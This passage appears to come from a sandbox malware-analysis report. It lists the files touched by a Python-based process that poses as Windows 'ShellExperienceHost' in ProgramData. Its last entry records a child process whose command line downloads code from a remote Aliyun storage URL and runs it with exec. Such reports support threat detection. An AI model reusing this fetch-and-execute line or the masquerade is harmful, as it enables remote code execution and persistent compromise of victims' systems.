        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SOCKETIO\__PYCACHE__\ASYNCIO_NAMESPACE.CPYTHON-37.PYC.56832848
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SOCKETIO\ASYNCIO_REDIS_MANAGER.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SOCKETIO\__PYCACHE__\ASYNCIO_REDIS_MANAGER.CPYTHON-37.PYC.47799952
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SOCKETIO\ASYNCIO_PUBSUB_MANAGER.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SOCKETIO\__PYCACHE__\ASYNCIO_PUBSUB_MANAGER.CPYTHON-37.PYC.47798832
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SOCKETIO\ASYNCIO_AIOPIKA_MANAGER.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SOCKETIO\__PYCACHE__\ASYNCIO_AIOPIKA_MANAGER.CPYTHON-37.PYC.55260192
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SOCKETIO\ASGI.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SOCKETIO\__PYCACHE__\ASGI.CPYTHON-37.PYC.55361584
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\__INIT__.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\__PYCACHE__\__INIT__.CPYTHON-37.PYC.57013640
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\WIN32API.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYWIN32_SYSTEM32\PYWINTYPES37.DLL
        C:\WINDOWS\SYSTEM32\SECUR32.DLL
        C:\WINDOWS\SYSTEM32\SSPICLI.DLL
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYTHONCOM.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\__PYCACHE__\PYTHONCOM.CPYTHON-37.PYC.55362592
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\PYWINTYPES.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\__PYCACHE__\PYWINTYPES.CPYTHON-37.PYC.57013792
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\_WIN32SYSLOADER.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYWIN32_SYSTEM32\PYTHONCOM37.DLL
        C:\WINDOWS\SYSTEM32\RPCSS.DLL
        C:\WINDOWS\SYSTEM32\UXTHEME.DLL
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\CLIENT\__INIT__.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\CLIENT\__PYCACHE__\__INIT__.CPYTHON-37.PYC.47432688
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\CLIENT\DYNAMIC.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\CLIENT\__PYCACHE__\DYNAMIC.CPYTHON-37.PYC.57015160
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\WINERROR.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\__PYCACHE__\WINERROR.CPYTHON-37.PYC.57016072
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\CLIENT\BUILD.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\CLIENT\__PYCACHE__\BUILD.CPYTHON-37.PYC.71942192
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\CLIENT\GENCACHE.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\CLIENT\__PYCACHE__\GENCACHE.CPYTHON-37.PYC.45009616
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\CLIENT\CLSIDTOCLASS.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\CLIENT\__PYCACHE__\CLSIDTOCLASS.CPYTHON-37.PYC.45007536
        C:\USERS\ADMINI~1\APPDATA\LOCAL\TEMP\GEN_PY\3.7\__INIT__.PY
        C:\USERS\ADMINI~1\APPDATA\LOCAL\TEMP\GEN_PY\3.7\DICTS.DAT
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\WIN32CON.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\__PYCACHE__\WIN32CON.CPYTHON-37.PYC.71943864
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\WIN32GUI.PYD
        C:\WINDOWS\WINSXS\AMD64_MICROSOFT.WINDOWS.COMMON-CONTROLS_6595B64144CCF1DF_6.0.7601.17514_NONE_FA396087175AC9AC\COMCTL32.DLL
        C:\WINDOWS\WINDOWSSHELL.MANIFEST
        C:\WINDOWS\SYSTEM32\MSIMG32.DLL
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\WIN32PRINT.PYD
        C:\WINDOWS\SYSTEM32\WINSPOOL.DRV
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\WIN32CRYPT.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\_SQLITE3.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\SQLITE3.DLL
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\_CTYPES.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\OSS2\__INIT__.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\OSS2\__PYCACHE__\__INIT__.CPYTHON-37.PYC.75827360
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\OSS2\MODELS.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\OSS2\__PYCACHE__\MODELS.CPYTHON-37.PYC.75827648
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\OSS2\UTILS.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\OSS2\__PYCACHE__\UTILS.CPYTHON-37.PYC.57918208
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRCMOD\__INIT__.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRCMOD\__PYCACHE__\__INIT__.CPYTHON-37.PYC.58000848
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRCMOD\CRCMOD.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRCMOD\__PYCACHE__\CRCMOD.CPYTHON-37.PYC.58001280
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRCMOD\_CRCFUNPY.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRCMOD\__PYCACHE__\_CRCFUNPY.CPYTHON-37.PYC.71945384
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRCMOD\PREDEFINED.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRCMOD\__PYCACHE__\PREDEFINED.CPYTHON-37.PYC.71945688
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\OSS2\COMPAT.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\OSS2\__PYCACHE__\COMPAT.CPYTHON-37.PYC.58060208
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\OSS2\EXCEPTIONS.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\OSS2\__PYCACHE__\EXCEPTIONS.CPYTHON-37.PYC.58060496
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\_ELEMENTTREE.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\PYEXPAT.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\OSS2\API.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\OSS2\__PYCACHE__\API.CPYTHON-37.PYC.75828800
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\OSS2\XML_UTILS.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\OSS2\__PYCACHE__\XML_UTILS.CPYTHON-37.PYC.71686592
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\OSS2\HTTP.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\OSS2\__PYCACHE__\HTTP.CPYTHON-37.PYC.57676400
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\OSS2\DEFAULTS.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\OSS2\__PYCACHE__\DEFAULTS.CPYTHON-37.PYC.57799136
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\OSS2\AUTH.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\OSS2\__PYCACHE__\AUTH.CPYTHON-37.PYC.72299984
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\OSS2\ITERATORS.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\OSS2\__PYCACHE__\ITERATORS.CPYTHON-37.PYC.57801584
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\OSS2\RESUMABLE.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\OSS2\__PYCACHE__\RESUMABLE.CPYTHON-37.PYC.57767664
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\OSS2\TASK_QUEUE.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\OSS2\__PYCACHE__\TASK_QUEUE.CPYTHON-37.PYC.57862592
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL\__INIT__.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL\__PYCACHE__\__INIT__.CPYTHON-37.PYC.57812576
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL\_COMMON.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL\__PYCACHE__\_COMMON.CPYTHON-37.PYC.69890672
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL\_COMPAT.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL\__PYCACHE__\_COMPAT.CPYTHON-37.PYC.69891536
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL\_PSWINDOWS.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL\__PYCACHE__\_PSWINDOWS.CPYTHON-37.PYC.69955936
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL\_PSUTIL_WINDOWS.CP37-WIN_AMD64.PYD
        C:\WINDOWS\SYSTEM32\POWRPROF.DLL
        C:\WINDOWS\SYSTEM32\PDH.DLL
        C:\WINDOWS\SYSTEM32\EN-US\SETUPAPI.DLL.MUI
        C:\WINDOWS\SYSTEM32\WTSAPI32.DLL
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\WIN32TS.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\WIN32PROCESS.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NTPLIB.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\__PYCACHE__\NTPLIB.CPYTHON-37.PYC.68357088
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\__INIT__.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\__PYCACHE__\__INIT__.CPYTHON-37.PYC.69845472
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\CIPHER\__INIT__.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\CIPHER\__PYCACHE__\__INIT__.CPYTHON-37.PYC.69958824
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\CIPHER\_MODE_ECB.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\CIPHER\__PYCACHE__\_MODE_ECB.CPYTHON-37.PYC.69958976
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\UTIL\__INIT__.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\UTIL\__PYCACHE__\__INIT__.CPYTHON-37.PYC.69959128
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\UTIL\_RAW_API.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\UTIL\__PYCACHE__\_RAW_API.CPYTHON-37.PYC.69959280
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\UTIL\PY3COMPAT.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\UTIL\__PYCACHE__\PY3COMPAT.CPYTHON-37.PYC.69959432
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\UTIL\_FILE_SYSTEM.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\UTIL\__PYCACHE__\_FILE_SYSTEM.CPYTHON-37.PYC.47797392
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CFFI\__INIT__.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CFFI\__PYCACHE__\__INIT__.CPYTHON-37.PYC.68467280
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CFFI\API.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CFFI\__PYCACHE__\API.CPYTHON-37.PYC.68467712
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CFFI\LOCK.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CFFI\__PYCACHE__\LOCK.CPYTHON-37.PYC.67764848
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CFFI\ERROR.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CFFI\__PYCACHE__\ERROR.CPYTHON-37.PYC.67764848
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CFFI\MODEL.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CFFI\__PYCACHE__\MODEL.CPYTHON-37.PYC.67765136
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\CIPHER\_RAW_ECB.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\CIPHER\_MODE_CBC.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\CIPHER\__PYCACHE__\_MODE_CBC.CPYTHON-37.PYC.67744704
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\RANDOM\__INIT__.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\RANDOM\__PYCACHE__\__INIT__.CPYTHON-37.PYC.67745008
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\CIPHER\_RAW_CBC.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\CIPHER\_MODE_CFB.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\CIPHER\__PYCACHE__\_MODE_CFB.CPYTHON-37.PYC.67745160
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\CIPHER\_RAW_CFB.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\CIPHER\_MODE_OFB.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\CIPHER\__PYCACHE__\_MODE_OFB.CPYTHON-37.PYC.67745008
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\CIPHER\_RAW_OFB.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\CIPHER\_MODE_CTR.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\CIPHER\__PYCACHE__\_MODE_CTR.CPYTHON-37.PYC.67745160
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\UTIL\NUMBER.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\UTIL\__PYCACHE__\NUMBER.CPYTHON-37.PYC.67745920
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\CIPHER\_RAW_CTR.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\CIPHER\_MODE_OPENPGP.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\CIPHER\__PYCACHE__\_MODE_OPENPGP.CPYTHON-37.PYC.47797072
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\CIPHER\_MODE_CCM.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\CIPHER\__PYCACHE__\_MODE_CCM.CPYTHON-37.PYC.67745920
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\UTIL\STRXOR.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\UTIL\__PYCACHE__\STRXOR.CPYTHON-37.PYC.67746376
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\UTIL\_STRXOR.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\HASH\__INIT__.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\HASH\__PYCACHE__\__INIT__.CPYTHON-37.PYC.67746376
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\HASH\BLAKE2S.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\HASH\__PYCACHE__\BLAKE2S.CPYTHON-37.PYC.67746984
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\HASH\_BLAKE2S.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\CIPHER\_MODE_EAX.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\CIPHER\__PYCACHE__\_MODE_EAX.CPYTHON-37.PYC.67747136
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\HASH\CMAC.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\HASH\__PYCACHE__\CMAC.CPYTHON-37.PYC.67747440
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\CIPHER\_MODE_SIV.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\CIPHER\__PYCACHE__\_MODE_SIV.CPYTHON-37.PYC.69460016
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\PROTOCOL\__INIT__.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\PROTOCOL\__PYCACHE__\__INIT__.CPYTHON-37.PYC.68755504
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\PROTOCOL\KDF.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\PROTOCOL\__PYCACHE__\KDF.CPYTHON-37.PYC.69464416
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\HASH\SHA1.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\HASH\__PYCACHE__\SHA1.CPYTHON-37.PYC.69465176
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\HASH\_SHA1.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\HASH\SHA256.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\HASH\__PYCACHE__\SHA256.CPYTHON-37.PYC.69465784
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\HASH\_SHA256.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\HASH\HMAC.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\HASH\__PYCACHE__\HMAC.CPYTHON-37.PYC.69466088
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\HASH\MD5.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\HASH\__PYCACHE__\MD5.CPYTHON-37.PYC.69510464
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\HASH\_MD5.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\CIPHER\_SALSA20.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\PROTOCOL\_SCRYPT.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\CIPHER\_MODE_GCM.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\CIPHER\__PYCACHE__\_MODE_GCM.CPYTHON-37.PYC.69466088
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\UTIL\_CPU_FEATURES.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\UTIL\__PYCACHE__\_CPU_FEATURES.CPYTHON-37.PYC.71697392
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\UTIL\_CPUID_C.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\HASH\_GHASH_PORTABLE.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\HASH\_GHASH_CLMUL.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\CIPHER\_MODE_OCB.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\CIPHER\__PYCACHE__\_MODE_OCB.CPYTHON-37.PYC.69466088
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\CIPHER\_RAW_OCB.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\CIPHER\AES.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\CIPHER\__PYCACHE__\AES.CPYTHON-37.PYC.69467000
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\CIPHER\_RAW_AES.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\CIPHER\_RAW_AESNI.PYD
        C:\WINDOWS\SYSTEM32\PROPSYS.DLL
        C:\WINDOWS\SYSTEM32\SHELL32.DLL
        C:\WINDOWS\REGISTRATION\R00000000000C.CLB
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MICROSOFT\WINDOWS\CACHES\CVERSIONS.1.DB
        C:\WINDOWS\SYSTEM32\NTMARTA.DLL
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MICROSOFT\WINDOWS\CACHES\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.VER0X0000000000000002.DB
        C:\USERS\ADMINISTRATOR\DESKTOP\DESKTOP.INI
        C:\WINDOWS\SYSTEM32\PROFAPI.DLL
        C:\WINDOWS\SYSTEM32\EN-US\PROPSYS.DLL.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\SHELLEXPERIENCEHOST.EXE
        C:\WINDOWS\SYSTEM32\APPHELP.DLL
        C:\USERS\ADMINI~1\APPDATA\LOCAL\TEMP\XLOG.TXT
        C:\WINDOWS\SYSTEM32\NLAAPI.DLL
        C:\WINDOWS\SYSTEM32\NAPINSP.DLL
        C:\WINDOWS\SYSTEM32\PNRPNSP.DLL
        C:\WINDOWS\SYSTEM32\WINRNR.DLL
        C:\WINDOWS\SYSTEM32\WSHBTH.DLL
        C:\WINDOWS\SYSTEM32\DRIVERS\ETC\SERVICES
        C:\WINDOWS\SYSTEM32\IEFRAME.DLL
        C:\WINDOWS\SYSTEM32\OLEACC.DLL
        C:\WINDOWS\SYSTEM32\OLEACCRC.DLL
        C:\WINDOWS\SYSTEM32\CMD.EXE
        C:\USERS\ADMINI~1\APPDATA\LOCAL\TEMP\A3FB11I7ZNAQRVGE.TXT
        C:\USERS\ADMINI~1\APPDATA\LOCAL\TEMP\NVRNLE489LAX2GQG.TXT
        C:\USERS\PUBLIC\BPS\V3\LOG.TXT
    - Process children
      - 4068
        
        Image path
        
        "C:\PROGRAMDATA\SHELLEXPERIENCEHOST\SHELLEXPERIENCEHOST.EXE" -C "EXEC('IMPORT URLLIB.REQUEST;EXEC(URLLIB.REQUEST.URLOPEN(URLLIB.REQUEST.REQUEST(\'HTTP://FLASHDOWNLOADSERVER.OSS-CN-HONGKONG.ALIYUNCS.COM/RES/ONLINE.TXT\')).READ().DECODE())')"
        
        Time lapse
        
        134.021238
        
        Files Accessed
        
